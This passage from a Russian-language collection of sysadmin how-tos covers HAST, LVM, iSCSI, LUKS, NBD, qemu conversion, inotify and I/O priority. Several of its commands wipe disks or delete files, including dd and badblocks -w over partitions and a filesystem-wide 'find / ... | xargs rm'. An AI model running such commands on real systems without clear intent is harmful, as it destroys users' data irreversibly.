    системы, т.е. можно использовать ZFS или UFS.
    
    Эта технология работает по TCP. Для работы используется демон hastd и утилита
    для управления hastctl.
    
    Использование.
    
    Имеем две машины (ноды)
       host1 192.168.1.2
       host2 192.168.1.9
    
    на обоих машинах стоит дополнительный диск ad3.
    HAST готов к использованию сразу, без дополнительных установок. Для
    конфигурирования создадим файл /etc/hast.conf
    
       resource my {
           on host1 {
                   local /dev/ad3
                   remote 192.168.1.9
           }
           on host2 {
                   local /dev/ad3
                   remote 192.168.1.2
           }
       }
    
    т.е. host1 имеет диск ad3 и синхронизируется с 192.168.1.9 (host2), а для host2
    соответственно наоборот.
    
    Сделайте такой же файл на другой машине.
    
       host1# hastctl create my
       host1# hastd
    
    После этого демон должен запустится, проверим, что все работает
    
       host1# hastctl status
    
    должно выдать вроде этого
    
       my:
       role: init
       provname: my
       localpath: /dev/ad3
       extentsize: 0
       keepdirty: 0
       remoteaddr: 192.168.1.2
       replication: memsync
       dirty: 0 bytes [/CODE]
    
    Сделаем такие же действия на другой ноде
    
       host2# hastctl create my
       host2# hastd [/CODE]
    
    Теперь раздадим роли машинам. Например, host1 будет главным, а host2 - резервным.
    
       host1# hastctl role primary my
       host2# hastctl role secondary my
    
    После того, как host2 стал secondary, должна начаться синхронизация. В первый
    раз она не должна занять много времени.
    Проверим, что все работает.
    
       host1# hastctl status
       my:
        role: primary
        provname: my
        localpath: /dev/ad3
        extentsize: 2097152
        keepdirty: 0
        remoteaddr: 192.168.1.9
        replication: memsync
        status: complete
        dirty: 0 bytes
    
    Для нас важно, чтобы был статус complete. Если статус другой, проверяем, что не так.
    
    Теперь создадим файловую систему. Не смотря на то что можно использовать UFS
    лучше использовать ZFS, чтобы не приходилось запускать fsck.
    
    Создадим пул используя появившееся устройство /dev/hast/my
    
       host1# zpool create mydisk /dev/hast/my
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G  84.5K    95G     0%  ONLINE  -
    
    На второй машине этого делать не надо.
    HAST настроен.
    
    Тестирование.
    
    Создадим несколько файлов в mydisk и протестируем нашу систему. Для
    тестирования перезагрузим ноду с primary, т.е. host1.
    После перезагрузки посмотрим состяние пула
    
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    -               -             -         -       FAULTED          -
    
    Это случилось потому что пропало устройство /dev/hast/my Экспортируем пул и
    поменяем роль host1 на secondary
    
       host1# zpool export -f my
       host1# hastctl role secondary my
    
    А host2 сделаем основным и импортируем пул.
    
       host2# hastctl role primary my
       host2# zpool import -f mydisk
       host2# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G    84.5K    95G     0%    ONLINE          -
    
    Проверим наши файлы, они должны остаться.
    
    Ошибки.
    
    По умолчанию логи можно посмотреть в /var/log/message.
    В результате некоторых действий можно добиться ситуации, когда вы обнаружите в
    логах запись Split brain - разделение сознания.
    
    Это означает, что каждая из нод думает, что она главная и живет собственной
    жизнью. Такое может произойти если вы умудритесь
    записать разную информацию на нодах или поставить обои машины в роль primary.
    Исправить эту ситуацию можно выбрав ту машину которая будет у вас secondary, и
    нужно сделать на ней:
    
       hastctl role init my
       hastctl create my
       hastctl role secondary my
    
    После этого должен запуститься процесс синхронизации. Он может занять продолжительное время.
    
    
    Автоматизация.
    
    Эта система сделана для кластеризации, а именно для кластера высокой
    доступности. Например можно воспользоваться CARP
    чтобы сделать постоянным. Можно написать собственные скрипты, а можно
    воспользоваться стандартными. Автором HAST уже написаны готовые скрипты которые
    умеют определять на какой ноде сейчас primary.
    
    Для работы следует установить ucarp:
    
       cd /usr/ports/net/ucarp
       make && make install clean && rehash
    
    Скрипты находятся в /usr/share/expamles/hast/
    Скопируйте их в /домашний каталог/sbin/hastd/ так предлагается по умолчанию и
    отредактируйте переменные в начале скриптов
    
       ucarp.sh, ucarp_down.sh, ucarp_up.sh
    
    Сделайте это на обоих нодах и запустите ucarp.sh на обоих нодах.
    
    Дополнительные возможности.
    
    У HAST существует три типа репликаций. Они различаются тем когда данные считаются записанными.
    
    * memsync - Данные операции записи считаются завершенными когда запись локальна завершена 
    и когда удаленный узел принял данные, но до того как записать данные. Данные на
    удаленной ноде начинают
    писаться, как только отправлен ответ.
    
    * fullsync - Данные операции записи считаются завершенными когда запись завершена локально и на 
    удаленной ноде запись тоже завершена.
    
    * async - Данные записи считаются завершенными когда запись завершена локально.
    Это наиболее быстрый способ записи.
    
    На момент написания статьи работает только memsync.
    Дополнительную информацию можно прочитать на http://wiki.freebsd.org/HAST
    
    Заключение.
    
    HAST только появился, у него богатые возможности для организации хранилища
    высокой доступности. В данный момент еще не все работает, но это хорошее начало
    для кластеризации на FreeBSD.
    
    Перед тем как работать с HAST в боевых условиях рекомендую потренироваться. У
    меня были ситуации, когда secondary не хотел брать данные с primary, было что
    неаккуратные движения приводили к "Split Brain". Данные, правда, потеряны не
    были, но много времени было потеряно на синхронизации.
    
     
    ----* Установка Slackware Linux на LVM   Автор: tux2002  [комментарии]
     
    Загрузимся с установочного диска Slackware 13.0
    
       fdisk -l
    
    Создадим на диске раздел LVM (тип 8e)
    Создадим группу томов lvm и логические тома для файловых систем root и home размером по 5GB:
    
       pvcreate /dev/sda1
       vgcreate lvm /dev/sda1
       lvcreate -L5G -n root lvm
       lvcreate -L5G -n home lvm
    
    Теперь можно запускать инсталлятор:
    
       setup
    
    Установку проводим стандартно.
    LILO устанавливаем в режиме simple.
    
    Если перезагрузить компьютер после установки системы, то ядро загрузится, но
    корневая файловая система не будет смонтирована, т.к. после загрузки ядра
    логические тома lvm ещё не активированы. Чтобы решить эту проблему нужно
    создать initrd и переустановить загрузчик.
    
       mount --bind /proc /mnt/proc
       mount --bind /dev /mnt/dev
       chroot /mnt
       cd /boot
       mkinitrd -c
    
    Теперь нужно немного изменить initrd
    
       cp /sbin/lvm.static /boot/initrd-tree/sbin/lvm
       ln -s lvm /boot/initrd-tree/sbin/vgscan
       ln -s lvm /boot/initrd-tree/sbin/vgchange
       echo "/dev/mapper/lvm-root" > initrd-tree/rootdev
       echo "ext4" > initrd-tree/rootfs (Тип файловой системы подставьте свой)
       mkinitrd
    
    Переустановим загрузчик.
    
       vi /etc/lilo.conf
    
    Секцию
    
       image = /boot/vmlinuz
           root = Linux
           label = Linux
           read-only
    
    приведем к виду
    
       image = /boot/vmlinuz
           initrd = /boot/initrd.gz
           root = Linux
           label = Linux
           read-only
    
    Выполним команды
    
       lilo
       exit
       reboot
    
     
    ----* Настройка iSCSI в Ubuntu Linux   [комментарии]
     
    Создание iSCSI-хранилища (iSCSI target - сервер):
    
    Устанавливаем пакет iscsitarget:
    
       sudo apt-get install iscsitarget
    
    Настраиваем файл конфигурации /etc/ietd.conf
    
    Например, открываем доступ к /dev/sdc диску:
    
       Target iqn.2009-04.ru.test:nas1.sdc
          IncomingUser USER1 PASSWORD1
          OutgoingUser USER2 PASSWORD2
          Lun 0 Path=/dev/sdb,Type=fileio
    
    где IncomingUser - логин/пароль для аутентификации раскрытия сессий для iSCSI initiator.
    OutgoingUser - для аутентификации target на initiator-е;
    
    или вместо раздела создаем хранилище в файле:
    
       Target iqn.2009-04.ru.test:nas2.filedb
            Lun 0 Path=/tmp/file.nas,Type=fileio
    
    Файл хранилища /tmp/file.nas размером 1Гб создаем как
    
       dd if=/dev/zero of=templun3 count=0 obs=1 seek=1G
    
    Перезапускаем iscsitarget:
    
       invoke-rc.d iscsitarget restart
    
    
    
    Подключение созданного хранилища на другой машине (iSCSI initiator - клиент):
    
    Устанавливаем iSCSI Initiator:
    
       sudo apt-get install open-iscsi
    
    Настраиваем файл конфигурации /etc/iscsi/iscsid.conf (или ~/.iscsid.conf):
    
       node.startup = automatic
       node.session.auth.username = USER1
       node.session.auth.password = PASSWORD1
       discovery.sendtargets.auth.username = USER2
       discovery.sendtargets.auth.password = PASSWORD2
      
    где, в node.session.* задается имя пользователя и пароль для CHAP
    аутентификации initiator в target;
    discovery.sendtargets.* имя пользователя и пароль для раскрытия сессий.
    
    
    Перезапускаем сервис:
    
      invoke-rc.d open-iscsi restart
    
    Определяем iscsi target (192.168.1.10 - IP iscsitarget сервера):
    
       iscsiadm -m discovery -t sendtargets -p 192.168.1.10
    
    подключаемся к выбранному сервису:
    
       iscsiadm --mode node --targetname iqn.2009-04.ru.test:nas2.filedb --portal 192.168.1.10:3260 --login
    
    Перезапускаем сервис:
      invoke-rc.d open-iscsi restart
      
    Смотрим имя устройства в /var/log/messages:
    
       SCSI device sdd: 20981760 512-byte hdwr sectors (10742 MB)
    
    Далее работаем с /dev/sdd как с обычным блочным устройством (форматируем, монтируем и т.п.):
       fdisk /dev/sdd
       mke2fs /dev/sdd1
       mkdir /iscsi
       mount /dev/sdd1 /iscsi
    
     
    ----* Создание шифрованного раздела в Linux (доп. ссылка 1)   [комментарии]
     
    В  CentOS 5.3 добавлена возможность создания шифрованных дисковых разделов на этапе установки.
    Рассмотрим ручное создание шифрованного раздела /dev/sdb3 при помощи dm-crypt/LUKS.
    
    Сryptsetup можно найти в пакете cryptsetup в репозиториях Debian, Ubuntu, SuSE, Fedora и CentOS:
    
    Установка: 
    
       apt-get install cryptsetup
    или
       yum install cryptsetup
    
    Заполняем раздел случайными данными, для удаления остаточной информации:
    
       dd if=/dev/urandom of=/dev/sdb3
    
    Инициализируем шифрованный раздел
    
       cryptsetup luksFormat /dev/sdb3
    
    в ответ на приглашение "Enter LUKS passphrase:" вводим пароль, под которым
    будет производиться доступ к созданному разделу.
    
    Проверяем все ли нормально было создано:
    
       cryptsetup isLuks /dev/sdb3 && echo Sucess
       Sucсess
    
    Смотрим параметры созданного раздела:
    
       cryptsetup luksDump /dev/sdb3
    
       LUKS header information for /dev/sdb3
       Version:        1
       Ciper name:    aes
       Cipher mode:    cbc-essiv:sha256
       Hash spec:      sha1
       ...
    
    Получаем UUID идентификатор раздела для его последующего монтирования без
    привязки к имени устройства:
    
       cryptsetup luksUUID /dev/sdb3
       d77eb752-8a90-4d94-ae9f-2bec0a22c5d3
    
    Подключаем шифрованный раздел, для его последующего монтирования:
    
       cryptsetup luksOpen /dev/sdb3 db
    
       Enter LUKS passphrase: вводим пароль
       key slot 0 unlocked.
       Command successful.
    
    Смотрим параметры расшифрованного устройства /dev/mapper/db, пригодного для монтирования:
    
       dmsetup info db
    
       Name:              db
       State:             ACTIVE
       Read Ahead:        256
       Tables present:    LIVE
       Open count:        0
       Event number:      0
       Major, minor:      253, 1
       Number of targets: 1
    
    Форматируем новый раздел:
    
       mke2fs -j /dev/mapper/db
    
    Создаем точку монтирования:
    
       mkdir /db
    
    Монтируем:
    
       mount /dev/mapper/db /db
    
    Добавляем настройки в /etc/crypttab в последовательности соответствующей
    порядку монтирования разделов:
    
       luks-d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 UUID=d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 none
    
    Добавляем автомонтирование в /etc/fstab (на этапе загрузки нужно будет вводить пароль):
    
       /dev/mapper/luks-d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 /db ext3  defaults 0 0
    
    Для автомонтирования шифрованного раздела должен быть активен системный сервис /etc/init.d/crytdisks
    
    Для отключения раздела нужно использовать:
    
       umount /db
       crytsetup luksClose /dev/mapper/db
    
    Вместо ввода пароля можно сохранить ключ шифрования на USB брелок,
    последовательность примерно такая:
    
    Создаем ключ на flash:
       dd if=/dev/random of=/media/flash/pass.key bs=1 count=256
    
    Инициализируем раздел:
       cryptsetup luksFormat /dev/sdb3 /media/flash/pass.key 
    
    Подключаем раздел:
       cryptsetup --key-file /media/flash/pass.key luksOpen /dev/sdb3 db
    
    В /etc/crypttab вместо "none" добавляем путь к файлу с ключом.
    
     
    ----* Как преобразовать образ виртуальной машины Qemu в VirtualBox и VmWare   [комментарии]
     
    Для преобразования образа виртуальной машины Qemu в вид пригодный для запуска в VirtualBox,
    можно использовать следующие команды:
    
       qemu-img convert qemu.img tmp.bin  
       VBoxManage convertdd tmp.bin virtualbox.vdi
       VBoxManage modifyvdi virtualbox.vdi compact
    
    Для старых версий VirtualBox, нужно было использовать вместо VBoxManage - vditool:
    
       vditool DD virtualbox.vdi tmp.bin  
       vditool SHRINK virtualbox.vdi  
    
    Преобразование qemu образа в формат пригодный для использования в VmWare:
    
       qemu-img convert -6 qemu.img -O vmdk vmware.vmdk
    
    Для преобразования формата VmWare в qemu:
     
       qemu-img convert vmware.vmdk -O qcow2 qemu.img
    
    Для преобразования образа диска или livecd в вид пригодный для использования в qemu:
    
       qemu-img convert -f raw disk.img -O qcow2 qemu.img
       qemu-img convert -f cloop cloop.img -O qcow2 qemu.img
    
     
    ----* Передача блочных устройств на другую машину, при помощи NBD в Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Возможность работы с блочным устройством другой машины по сети может быть оправдана 
    при наличии на второй машине новой версии fsck, поддержки файловой системы 
    (например, тестирование нового драйвера FS, или экспорт на другую программную платформу, 
    диск можно подключить к Windows машине и примонтировать на компьютере с Linux) или 
    специализированного устройства (например, raid-контроллера), отсутствующих 
    на первой машине. NBD также можно использовать в целях упрощения ограничения 
    интенсивности операций ввода/вывода (клиент и сервер одна машина, регулировка 
    через iptables), хранилище можно примонтировать на нескольких машинах в read-only 
    режиме и использовать unionfs для сохранения изменений на локальный диск.
    
    Загружаем исходные тексты NBD с сайта http://nbd.sourceforge.net/
    или устанавливаем пакеты в Debian/Ubuntu (nbd-server на сервере, nbd-client на клиенте):
    
       apt-get install nbd-server
       apt-get install nbd-client
    
    Экспортируем устройство /dev/sdb1 на сервере:
    
       nbd-server 2000 /dev/sdb1
       или nbd-server 192.168.1.1:2000 /dev/sdb1 -r -l /etc/nbd.allow
    
    где, 2000 - номер порта для приема соединений от клиента, 
    для привязки к IP можно использовать "192.168.1.1:2000"
    Для экспорта в режиме только для чтения нужно указать опцию "-r"
    Таймаут можно задать через опцию "-a"
    Через опцию "-l" можно указать файл со списком IP, которым разрешен доступ.
    Через опцию "-c" можно организовать доступ в режиме фиктивной записи, когда все изменения 
    не будут записываться в экспортируемое устройство, а будут отражаться во временном файле, 
    доступном только для данной сессии.
    
    Вместо устройства можно экспортировать содержимое файла:
    
       dd if=/dev/zero of=/tmp/test.img count=256 bs=1024k
       mkfs.ext3 /tmp/test.img
       nbd-server 2000 /tmp/test.img
    
    На стороне клиента выполняем:
    
       modprobe nbd
       nbd-client IP_сервера 2000 /dev/nbd0
    
    Устройство /dev/sdb1 сервера будет доступно через /dev/nbd0 на стороне клиента.
    
    Монтируем файловую систему на стороне клиента:
    
       mount /dev/nbd0 /mnt
    
     
    ----* Слежение за изменением файлов и директорий в Linux shell   [комментарии]
     
    Пакет inotify-tools содержит две полезные утилиты:
    
    inotifywait - ожидать наступления определенного события в файле или дирекотории. 
    
    inotifywatch - слежение за статистикой изменений и вывод суммарных данных.
    
    Утилиту inotifywait  удобно использовать в скриптах, например, когда нужно дождаться 
    завершения внешней операции с файлом и мгновенно среагировать на изменения.
    
    Напрмер, запустим:
       inotifywait /tmp
    
    При попытке создать файл в /tmp утилита завершит работу, выдав:
    
       /tmp/ CREATE,ISDIR v31549
    
    При попытке создать директорию:
    
       /tmp/ CREATE,ISDIR 0
    
    Если необходимо следить за изменением во всех директориях в пределах /tmp, 
    следует использовать флаг рекурсивного контроля "-r". 
    Для больших директорий может понадобиться расширить лимит /proc/sys/fs/inotify/max_user_watches.
    Используя опцию "--fromfile" можно загрузить список контролируемых файлов и директорий из файла.
    Опция "-e" позволяет реагировать только на определенный тип события, например,
    на удаление файла, игнорируя создание и открытие.
    Опция '-m' отменяет мгновенный выход после наступления события, что позволяет организовать 
    визуальное наблюдение или обработку в цикле.
    
    Пример, скрипта для обработки изменения файла:
    
       #!/bin/sh
       inotifywait -e delete -m /tmp/lock/ | while read dir events file; do
          echo "Removed $dir$file"
       done
    
    
    При выполнении:
    
       inotifywatch /tmp
    
    и последующем завершении выполнения через задание таймаута или нажатия ctrl+c, 
    будет выведена суммарная информация по каждому из классов событий, напрмер:
    
       total  modify  close_write  close_nowrite  open  create  delete  filename
       22     3       4            1              5     4       5       /tmp/
    
    Или
    
       inotifywatch -v -e access -e modify -t 60 -r /var/log
    
    через 60 секунд выдаст:
    
       14     14      /var/log/
       2      2       /var/log/apache2
       4      4       /var/log/postgresql
    
    Что касается кроссплатформенного решения, которое работает, не только в Linux, но и во FreeBSD, 
    можно привести пример слежения за изменением файла используя Perl модуль EV (http://search.cpan.org/dist/EV/),
    использующий универсальную библиотеку-враппер libev:
    
       #!/usr/bin/perl
    
       use strict;
       use EV;
    
       # Следим за изменениями в директории /tmp/watch
       # 0 - интервал опроса по умолчанию
       my $w = EV::stat "/tmp/watch", 0,
       sub {
                my ($w, $revents) = @_;
                warn $w->path, " has changed somehow.".$w->attr."\n";
                $w->stop;
                # На время обработки события, прекращаем прием нотификаций. 
                .....
                $w->start;
       };
    
       EV::loop;
    
     
    ----* Миграция на файловую систему LVM с поддержкой шифрования в Debian linux (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Администрирование Debian: How To по миграции на файловую систему LVM с поддержкой шифрования
    
    Целью данного документа является описание пути перехода на полностью шифрованную файловую 
    систему LVM (корневая файловая система и пользовательские данные, кроме загрузочного раздела). 
    Миграция возможна как с обычной LVM, так и с ext3. Все, что вам понадобится -
    наличие внешнего хранилища.
    
    Отдельно стоит отметить, что данная операция должна проводиться человеком, имеющим некоторый опыт.
    
    ЧАСТЬ 1. Установка необходимого ПО и сохранение текущей системы.
    
    Есть два способа реализации Full Encrypted LVM (далее - FELVM).
    a) Debian way (TM), где LVM размещаетя на зашифрованном виртуальном устройстве (cryptsetup).
    b) Другой путь, когда LVM создается на физическом устройстве, а затем шифруются логические разделы.
    
    Конечно, я выбираю debian way, хотя никаких определенных причин для этого нет.
    
    В качестве исходных данных у меня имеется /dev/hda1 типа Windows NTFS и несколько других разделов, 
    тип которых не важен, так как их скоро не останется.
    
    Перед тем, как мы начнем, рекомендую сделать полную копию ваших данных на
    внешний носитель с помощью CloneZilla,
    чтобы потом не иметь бледный вид.
    
    Для начала установим  'cryptsetup'. Также ядро должно ключать образ initrd для
    загрузки. Если это не так,
    установите пакет initramfs-tools. Затем создайте следующий файл в каталоге /etc/initramfs-tools/conf.d:
    
       filename: cryptroot
       contents:
       target=lukspace,source=/dev/hda3,key=none,lvm=vg-root
    
    Затем выполните команду:
    
       # update-initramfs -u
    
    Она создаст образ initrd, который будет знать, где находятся шифрованные разделы после создания.
    
    Создадим, и это обязательно, tar архив вашей системы на внешний носитель:
    
       # tar cSjf /my/external/storage/sysbackup.tar.bz2 /bin/ /boot/ \
        /etc/ /home/ /lib/ /opt/ /root/ /sbin/ /selinux/ /srv/ /usr/ /var/
    
    Если вы хотите повысить скорость выполнения данной операции, уберите флаг 'j' и расширение bz2.
    
    Это позволит сохранить все права доступа, файлы, владельцев файлов и т.д. 
    Как вы можете заметить, я пропустил каталоги /dev/, /media, /mnt, /proc, /sys, /tmp, 
    так как они будут вновь созданы на новой системе (кроме /media).
    
    Я подразумеваю, что никаких действий в системе после сохранения не производится - 
    не открываются консоли и сессии X window, кроме корневой.
    
    Настало время получить данные с внешних хранилищ. Будем считать, что оно примонтировано 
    в /media/abyss. Конечно, /media так же содержит cdrom и прочие полезные вещи.
    
    # tar cSjf /my/external/storage/databackup.tar.bz2 /media/cdrom /media/whatever /media/... 
    Все ЗА ИСКЛЮЧЕНИЕМ точки монтирования внешнего хранилища!
    
    Теперь мы защищены от любых ошибок при конфигурировании.
    
    
    
    ЧАСТЬ 2. Переформатирование диска и создание структуры FELVM.
    
    Помните: если дела приняли дурной оборот - вы всегда можете восстановиться с помощью clonezilla.
    
    Я использую clonezilla CD для большинства работ, где мне нужен live CD.
    
    Загружаем Clonezilla, настраиваем сеть. Затем в консоли (sudo su) выполняем команды:
    
       # aptitude update && aptitude dist-upgrade
    
    Возможно перед этим вам понадобится выполнить что-то подобное:
    
       # ifconfig eth0 up
       # dhclient eth0
    
    После того, как live CD обновит ПО нужно установить следущее:
    
       # aptitude install cryptsetup joe
    
    Joe - мой любимый редактор, поэтому далее мы будем считать, что и ваш тоже.
    
    Очищаем диск!
    
       # cfdisk /dev/hda
    
    и удаляем все разделы за исключением /dev/hda1 (NTFS).
    
    Создаем раздел, с которого будет осуществляться загрузка: /dev/hda2 размером 200 MB.
    
    Затем создаем другой раздел, занимающий все свободное пространство(/dev/hda3). 
    Его в последствии будет занимать rootfs и данные.
    
    Записываем таблицу разделов на диск и выходим.
    
    Мы все поломали, но не стоит волноваться, все будет восстановлено с tar архивов.
    
    Окончательно удаляем наши данные, заполняя все случайными последовательностями, 
    заодно проверяя наличие badblock:
    
       # badblocks -s -w -t random -v /dev/hda2
       # badblocks -s -w -t random -v /dev/hda3
    
    На выполнение этих команд требуется время, так что будьте терпеливы.
    
    Создаем файловую систему на загрузочном разделе:
    
       # mkfs.ext3 /dev/hda2
    
    Используя cryptsetup создадим большой раздел как устройство dm-crypt. Это очень просто:
    
       # cryptsetup -y -s 256 -c aes-cbc-essiv:sha256 luksFormat /dev/hda3
    
    Я не буду приводить объяснение всех опций, если хотите - посмотрите сами. 
    Обязательно выберите хорошее ключевое слово, которое вы сможете запомнить. 
    Позже вы сможете сменить его или сделать несколько ключевых слов.
    
    Подошло время использовать инициализированное пространство:
    
       # cryptsetup luksOpen /dev/hda3 lukspace
    
    Эта команда спросит у вас ранее введенное ключевое слово и сделает доступным /dev/mapper/lukspace. 
    Это может быть расценено как устройство, готовое принять любой вид данных. 
    Вы можете форматировать его в ext3 или построить LVM, чем мы сейчас и займемся.
    
    Создаем LVM:
    
       # pvcreate /dev/mapper/lukspace
       # vgcreate vg /dev/mapper/lukspace
       # lvcreate -L10G -nroot vg
       # lvcreate -l 100%FREE -nmyspace vg
    
    Так мы получим логический том LVM /dev/vg/root для корневой файловой системы и
    /dev/vg/myspace для наших данных.
    Это было несложно, не так ли?
    
    Дальше еще проще:
    
       # mkfs.ext3 /dev/vg/root
       # mkfs.ext3 /dev/vg/myspace
    
    
    ЧАСТЬ 3. Восстановление системных файлов и загрузка новой системы.
    
    После того, как вы создадите место для корневой файловой системы, настанет 
    пора разархивировать туда наши данные.
     
    Сперва создадим точку монтирования, которую назовем /media/rootfs и затем:
    
       # mount /dev/vg/root /media/rootfs
    
    а теперь:
    
       # cd /media/rootfs
       # tar xSjf /external_storage/sysbackup.tar.bz2
    
    После чего ждем завершения процесса.
    
    Создаем каталоги, которые не были сархивированы:
    
       # mkdir proc sys media dev tmp mnt
       # chmod 1777 tmp
    
    Теперь создаем точку монтирования bootfs и монтируем к ней будущий загрузочный раздел:
    
       # mkdir bootfs
       # mount /dev/hda2 bootfs
    
    Затем перемещаем загрузочные файлы из rootfs/boot в bootfs. Теперь /dev/hda2 
    содержит все необходимые для загрузки файлы. И последнее - изменим файл fstab  в rootfs/etc 
    таким образом, чтобы указать новое устройство /dev/vg/root.
    
    Перезагружаемся. После загрузки grub нажимаем 'e' для редактирования опций ядра и 
    указания правильного root=..., чтобы машина могла загрузиться.
    
    Хочется надеяться, что LUKS спросит у вас кодовое слово, и все пойдет хорошо!
    
    После того, как вы наиграетесь с вашей зашифрованной системой, отредактируйте /boot/grub/menu.lst 
    для указания корректного устройства root=... и запустите update-grub.
    
    Giorgos Pallas
    
     
    ----* Настройка службы iSCSI на сервере FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Q. Как я могу установить и настроить службу iSCSI на сервере FreeBSD ?
    
    A. FreeBSD 7.x полностью поддерживает iSCSI. Старые версии, такие как  FreeBSD
    6.3 требуют обратного
    портирования для поддержки iSCSI. Следущие инструкции приведены для настройки
    iSCSI только под FreeBSD 7.0.
    
    FreeBSD iscsi_initiator driver
    
    iscsi_initiator в ядре FreeBSD реализует страндарт сетевого протокола Internet SCSI (iSCSI), 
    взаимодействует с пользовательским окружением iscontrol и обеспечивает доступ к
    удаленным виртуальным SCSI устройствам.
    
    Компилирование драйвера
    
    обратите внимание на то, что FreeBSD 7.x поставляется с уже скомпилированным драйвером. 
    Вы можете пропустить этот шаг, если драйвер /boot/kernel/iscsi_initiator.ko 
    уже присутствует в вашей системе.
    
    Для компиляции ядра с драйвером, выполните следущее:
    
       # cd /usr/src/sys/i386/conf
       # cp GENERIC ISCSIKERNEL
       # vi ISCSIKERNEL
    
    Вставьте строку:
    
       device iscsi_initiator
    
    Сохраните и закройте файл конфигурации. Соберите ядро:
    
       # cd /usr/src
       # make buildkernel KERNCONF=ISCSIKERNEL
    
    Установите ядро:
    
       # make installkernel KERNCONF=ISCSIKERNEL
    
    Перезагрузите систему:
    
       # reboot
    
    Установка драйвера iSCSI в FreeBSD
    
    Нам необходим драйвер ядра FreeBSD для протокола iSCSI, который называется /boot/kernel/iscsi_initiator.ko.
    Загрузите его можно с правами пользователя root следующей командой: 
    
       # kldload -v iscsi_initiator.ko
    
    Вывод:
    
       Loaded iscsi_initiator.ko, id=6
    
    Для загрузки драйвера во время начальной загрузки, поместите слудующую строку в /boot/loader.conf:
    
       # vi /boot/loader.conf
    
       # Beginning of the iSCSI block added by Vivek
       iscsi_initiator_load="YES"
       # End of the block added by Vivek
    
    Сохраните и закройте файл.
    
    Команда iscontrol для подключения, предоставления и контроля сессии iSCSI initiator.
    
    Теперь нам необходимо использовать команду iscontrol. Сперва просмотрим сессии:
    
       # iscontrol -d targetaddress=iSCSI-SERVER-IP-ADDRESS initiatorname=nxl
       # iscontrol -v -d targetaddress=192.168.1.100 initiatorname=nxl
    
    Пожалуйста,  запишите список доступных targetnames/targetadresses. Как только
    будет известно targetname,
    отредактируйте файл /etc/iscsi.conf:
    
      # vi /etc/iscsi.conf
    
    Укажите директивы подобным образом:
    
       officeiscsi {
            authmethod      = CHAP
            chapIName       = YOUR-ISCSI-USERNAME
            chapSecret      = YOUR-ISCSI-PASSWORD
            initiatorname   = nxl
            TargetName      = iqn.XYZZZZZZZZZZZZZ #  whatever "iscontrol -v -d " gives you
            TargetAddress   = 192.168.1.100:3260,1 # your iscsi server IP
       }
    
    Сохраните и закройте файл.
    
    Где:
    
     officeiscsi { : Начало конфигурации iSCSI.
        authmethod : Установить в качестве метода аутентификации chap
        chapIName  : Имя 
        chapSecret : Пароль 
        initiatorname : Если не указано другое, то iqn.2005-01.il.ac.huji.cs:<hostname>
        TargetName : Имя, под которым будет изветен target. Не путайте его с target address, 
                      который назначается администратором или через поиск устройств. 
        TargetAddress : Имеет вид domainname[:port][,portal-group-tag] согласно RFC: 
                      domainname может быть определен как имя DNS, адрес IPv4 в десятичном представлении  
                      или IPv6 адрес, как указано в [RFC2732]. 
     } : Конец конфигурации
    
    
    Старт сессии iSCSI
    
    Следущие команды читают опции из /etc/iscsi.conf, используя targetaddress в блоке, 
    называемом officeiscsi, и запускают сессию iscsi.
    
       # iscontrol -c /etc/iscsi.conf -n officeiscsi
    
    
    Как только вы выполните команду iscontrol, должно создаться новое устройство в каталоге /dev. 
    Для проверки выполним команду dmesg:
    
       # dmesg 
    
    Форматируем диск iSCSI
    
    Запустим sysinstall для форматирования обнаруженного устройства iSCSI:
    
       # sysinstall 
    
    Выбираем Custom > 3 Partition > Выбираем устройство iSCSI по имени da1. После
    форматирования вводим:
    
       # mkdir /iscsi
       # mount /dev/da1s1 /iscsi 
    
    Возможно вам понадобится обновить файл /etc/fstab:
    
       /dev/ad1s1 /iscsi ufs rw 3 3
    
     
    ----* Составление списка мертвых символических ссылок (доп. ссылка 1)   Автор: pavlinux  [комментарии]
     
    Находим файлы символических ссылок, которые никуда не указывают.
    
       find / -noleaf -type l -print | perl -nle '-e || print'
    
    Эта команда выведет все мертвые ссылки на стандартные вывод.
    Можно перевести вывод в файл, для изучения и исправления. 
    Или просто удалить, добавив конвейер: "| xargs rm", то есть так:
    
       find / -noleaf -type l -print |perl -nle '-e || print' | xargs rm
    
    PS. В BSD системах нужно отбросить опцию -noleaf, которая реализована только в GNU find.
    
     
    ----* Как минимизировать влияние бэкап-скрипта на интенсивность ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Задача сделать так, чтобы выполнение скрипта для бэкапа не сказывалось на
    производительности приложений
    с интенсивными дисковыми операциями.
    Решение - понижение приоритета скрипта в планировщике ввода/вывода CFQ, который
    включен в Linux ядро,
    начиная с версии 2.6.13, и используется по умолчанию начиная с 2.6.18.
    
    Проверяем, что активный планировщик у нас CFQ:
    
       for d in /sys/block/sd[a-z]/queue/scheduler; do echo "$d => $(cat $d)" ; done
       Видим: /sys/block/sda/queue/scheduler => noop anticipatory deadline [cfq]
    
    Запускаем скрипт бэкапа с пониженным приоритетом:
     
       nice -n 19 ionice -c2 -n7 backup.sh
    
    утилитой nice с самым низким приоритетом вызываем утилиту ionice cо 2  классом планировки (
    1 - real time, 2 - нормальный режим, 3 - работа только в моменты простоя (idle)) 
    и самым низким уровнем приоритета (7).
    
    Если процесс все равно мешает, можем на лету перевести его в idle режим:
    
       ionice -c3 -p 1004
    
    или изменить приоритет планировщика:
       
       renice 19 -p 1004
    
    Где 1004 - PID процесса.
    
     
    ----* Отключение HPA или решение проблемы определения 1Тб диска   Автор: Kroz  [комментарии]
     
    Исходные данные:
       Motherboard: GA-965P-DS3 rev. 1.0
       Motherboard BIOS: BIOS F1
       HDD: Samsung HD103UJ (1 Терабайт)
       HDD: Western Digital WD10EACS (1 Терабайт)
       OS: Gentoo Linux
       hdparm v8.6
    
    Проблема:
    
    Недавно я приобрёл два SATA HDD размером в 1000Мб (1Тб): Samsung HD103UJ и
    Western Digital WD10EACS.
    Я подключил их оба к материнке и к моему удивлению в BIOS один из них (Samsung)
